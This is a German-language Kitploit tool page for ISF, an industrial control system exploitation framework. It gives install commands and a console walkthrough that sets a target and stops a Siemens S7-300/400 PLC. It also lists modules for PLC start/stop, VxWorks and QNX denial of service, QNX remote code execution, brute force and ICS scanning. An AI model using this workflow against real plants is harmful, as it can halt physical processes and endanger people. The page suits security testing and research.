Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
isf — ISF(Industrial Control System Exploitation Framework),a exploitation framework based on Python | Kitploit
Tools/GitHubGitHub/dark-lbp/isf
Penetration Testing FrameworksExploit FrameworksNetwork MappingVulnerability AnalysisExploitationSCADA/ICS SecurityInformation GatheringFuzzingPayload DevelopmentArchived
GitHubdark-lbp/isf

isf

1.1k301vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ISF(Industrial Control System Exploitation Framework),a exploitation framework based on Python

Repository anzeigen

Industrielles Exploitation-Framework

ISF (Industrial Exploitation Framework) ist ein auf Python basierendes Exploitation-Framework, ähnlich dem Metasploit-Framework.

ISF basiert auf dem Open-Source-Projekt routersploit.

Lesen Sie dies in anderen Sprachen: Englisch, Chinesisch (vereinfacht),

Haftungsausschluss

Die Nutzung von ISF zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.

ICS-Protokoll-Clients

NamePfadBeschreibung
modbus_tcp_clienticssploit/clients/modbus_tcp_client.pyModbus-TCP-Client
wdb2_clienticssploit/clients/wdb2_client.pyWdbRPC Version 2-Client (VxWorks 6.x)
s7_clienticssploit/clients/s7_client.pys7comm-Client (S7 300/400 SPS)

Exploit-Module

Scanner-Module

ICS-Protokolle-Modul (Scapy-Modul)

Diese Protokolle können in anderen Fuzzing-Frameworks wie Kitty oder zur Erstellung eigener Clients verwendet werden.

Installation

Python-Anforderungen

  • gnureadline (nur OSX)
  • requests
  • paramiko
  • beautifulsoup4
  • pysnmp
  • python-nmap
  • scapy Wir empfehlen die manuelle Installation von scapy gemäß diesem offiziellen Dokument

Installation unter Kali

root@kitploit:~
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

Nutzung

root@kitploit:~
    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ \| |    / __ \_   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     \___ \\___ \|  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |_____\_____|_____/_____/|_|    |______\____/_____|  |_|
    
    
                    ICS Exploitation Framework
    
    Note     : ICSSPOLIT is fork from routersploit at
               https://github.com/reverse-shell/routersploit
    Dev Team : wenzhe zhu(dark-lbp)
    Version  : 0.1.0
    
    Exploits: 2 Scanners: 0 Creds: 13
    
    ICS Exploits:
        PLC: 2          ICS Switch: 0
        Software: 0
    
    isf >

Exploits

root@kitploit:~
isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

Sie können die Tabulatortaste zur Vervollständigung verwenden.

Optionen

Moduloptionen anzeigen:

root@kitploit:~
isf (S7-300/400 PLC Control) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target address e.g. 192.168.1.1
   port       102                  Target Port


Module options:

   Name        Current settings     Description
   ----        ----------------     -----------
   slot        2                    CPU slot number.
   command     1                    Command 0:start plc, 1:stop plc.


isf (S7-300/400 PLC Control) >

Optionen setzen

root@kitploit:~
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

Modul ausführen

root@kitploit:~
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

Informationen zum Exploit anzeigen

root@kitploit:~
isf (S7-300/400 PLC Control) > show info

Name:
S7-300/400 PLC Control

Description:
Use S7comm command to start/stop plc.

Devices:
-  Siemens S7-300 and S7-400 programmable logic controllers (PLCs)

Authors:
-  wenzhe zhu <jtrkid[at]gmail.com>

References:

isf (S7-300/400 PLC Control) >

Dokumente

  • Verwendung des Modbus-TCP-Clients
  • Verwendung des WDBRPCV2-Clients
  • Verwendung des S7comm-Clients
  • Verwendung von SNMP-Brute-Force
  • Verwendung von S7 300/400 SPS-Passwort-Brute-Force
  • Verwendung des VxWorks 6.x-Scanners
  • Verwendung des Profinet DCP-Scanners
  • Verwendung des S7comm-SPS-Scanners
  • Verwendung des Profinet DCP-Set-IP-Moduls
  • Module aus einem extra Ordner laden
  • Wie Sie Ihr eigenes Modul schreiben
Tool herunterladen
NamePfadBeschreibung
s7_300_400_plc_controlexploits/plcs/siemens/s7_300_400_plc_control.pyS7-300/400 SPS starten/stoppen
s7_1200_plc_controlexploits/plcs/siemens/s7_1200_plc_control.pyS7-1200 SPS starten/stoppen/zurücksetzen
vxworks_rpc_dosexploits/plcs/vxworks/vxworks_rpc_dos.pyVxWorks RPC Remote-DoS(CVE-2015-7599)
quantum_140_plc_controlexploits/plcs/schneider/quantum_140_plc_control.pySchneider Quantum 140 Serie SPS starten/stoppen
crash_qnx_inetd_tcp_serviceexploits/plcs/qnx/crash_qnx_inetd_tcp_service.pyQNX Inetd TCP-Dienst-DoS
qconn_remote_execexploits/plcs/qnx/qconn_remote_exec.pyQNX qconn Remote-Codeausführung
profinet_set_ipexploits/plcs/siemens/profinet_set_ip.pyProfinet DCP Geräte-IP-Konfiguration
NamePfadBeschreibung
profinet_dcp_scanscanners/profinet_dcp_scan.pyProfinet DCP-Scanner
vxworks_6_scanscanners/vxworks_6_scan.pyVxWorks 6.x-Scanner
s7comm_scanscanners/s7comm_scan.pyS7comm-Scanner
enip_scanscanners/enip_scan.pyEthernetIP-Scanner
NamePfadBeschreibung
pn_dcpicssploit/protocols/pn_dcpProfinet DCP-Protokoll
modbus_tcpicssploit/protocols/modbus_tcpModbus TCP-Protokoll
wdbrpc2icssploit/protocols/wdbrpc2WDB RPC Version 2-Protokoll
s7commicssploit/protocols/s7comm.pyS7comm-Protokoll